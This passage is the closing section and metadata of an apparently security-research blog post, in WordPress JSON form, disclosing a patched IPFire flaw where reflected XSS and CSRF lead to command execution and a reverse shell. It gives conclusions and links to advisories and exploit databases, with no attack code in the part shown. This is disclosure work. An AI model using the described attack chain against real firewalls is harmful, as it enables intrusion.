srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement-300x209.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement-768x536.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement-1024x715.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/acknowledgement.png 1173w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2033\" class=\"wp-caption-text\">IPFire acknowledgement<\/p><\/div>\n<p>IPFire is proving to be a quality solution, and really secured. Certainly the above techniques produce a reverse-shell on the distribution, but the application of this can be complex to exploit. While inheriting a long code from IPCop, IPFire is modernized, is secure by the day and this is a community project of great quality and responsiveness.<\/p>\n<p>This article presents the importance that a simple Reflected\u00a0XSS in GET variable can have in the life cycle of a exploitation. We must not underestimate simple XSS, for use in a framework such as <a title=\"BeEF : modules m0n0wall et pfSense\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/beef-modules-m0n0wall-et-pfsense\/\" target=\"_blank\">BeEF<\/a> or combined with other techniques like in this article.<\/p>\n<p>I also want to say that the integrality\u00a0of the IPFire solution has not been fully analyzed due to time constraints. It is possible that other entry points for various injections remain.<\/p>\n<h2><span id=\"Sources_ressources\">Sources &amp; resources<\/span><\/h2>\n<ul>\n<li><a href=\"http:\/\/www.ipfire.org\/\" target=\"_blank\">IPFire.org<\/a><\/li>\n<li><a href=\"http:\/\/www.ipfire.org\/news\/ipfire-2-19-core-update-101-released\" target=\"_blank\">IPFire 2.19 Core Update 101 released<\/a><\/li>\n<li><a href=\"http:\/\/planet.ipfire.org\/post\/ipfire-2-19-core-update-101-is-available-for-testing\" target=\"_blank\">IPFire 2.19 Core Update 101 available for testing<\/a><\/li>\n<li><a href=\"http:\/\/www.ubuntufree.com\/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui\/\" target=\"_blank\">IPFire 2.19 Core Update 101 Patches Cross-Site-Scripting Vulnerability in Web UI &#8211; UbuntuFree<\/a><\/li>\n<li><a href=\"http:\/\/news.softpedia.com\/news\/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui-503608.shtml\" target=\"_blank\">IPFire 2.19 Core Update 101 Patches Cross-Site-Scripting Vulnerability in Web UI &#8211; SoftPedia<\/a><\/li>\n<li><a href=\"http:\/\/www.openwall.com\/lists\/oss-security\/2016\/04\/05\/5\" target=\"_blank\">CVE Request &#8211; OpenWall<\/a><\/li>\n<li><a href=\"http:\/\/seclists.org\/oss-sec\/2016\/q2\/15\" target=\"_blank\">CVE Request &#8211; SecLists<\/a><\/li>\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=rBd21aXU83E\" target=\"_blank\">Demonstration video<\/a><\/li>\n<li><a href=\"https:\/\/bugzilla.ipfire.org\/show_bug.cgi?id=11087\" target=\"_blank\">IPFire BugTracker ticket<\/a><\/li>\n<li><a href=\"https:\/\/www.exploit-db.com\/exploits\/39765\/\" target=\"_blank\">Exploit-DB advisory<\/a><\/li>\n<li><a href=\"https:\/\/packetstormsecurity.com\/files\/136910\/IPFire-XSS-CSRF-Command-Execution.html\" target=\"_blank\">PacketStorm Security advisory<\/a><\/li>\n<li><a href=\"http:\/\/fr.0day.today\/exploit\/description\/25283\" target=\"_blank\">0day Today advisory<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>IPFire &lt; 2.19 Core Update 101 suffers from\u00a0Remote Command Execution vulnerability (RCE &#8211; reverse-shell) and Cross-Site Scripting (XSS). After months [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":2031,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[378,517,398,165,516,14,515],"tags":[206,197,479,201],"class_list":["post-2030","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions","category-csrf","category-opensource","category-os","category-rce","category-vuln-exploit-poc","category-xss","tag-cross-site-scripting","tag-firewall","tag-ipfire","tag-remote-command-execution"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2030","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2030"}],"version-history":[{"count":14,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2030\/revisions"}],"predecessor-version":[{"id":2048,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2030\/revisions\/2048"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/2031"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2030"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2030"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2030"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}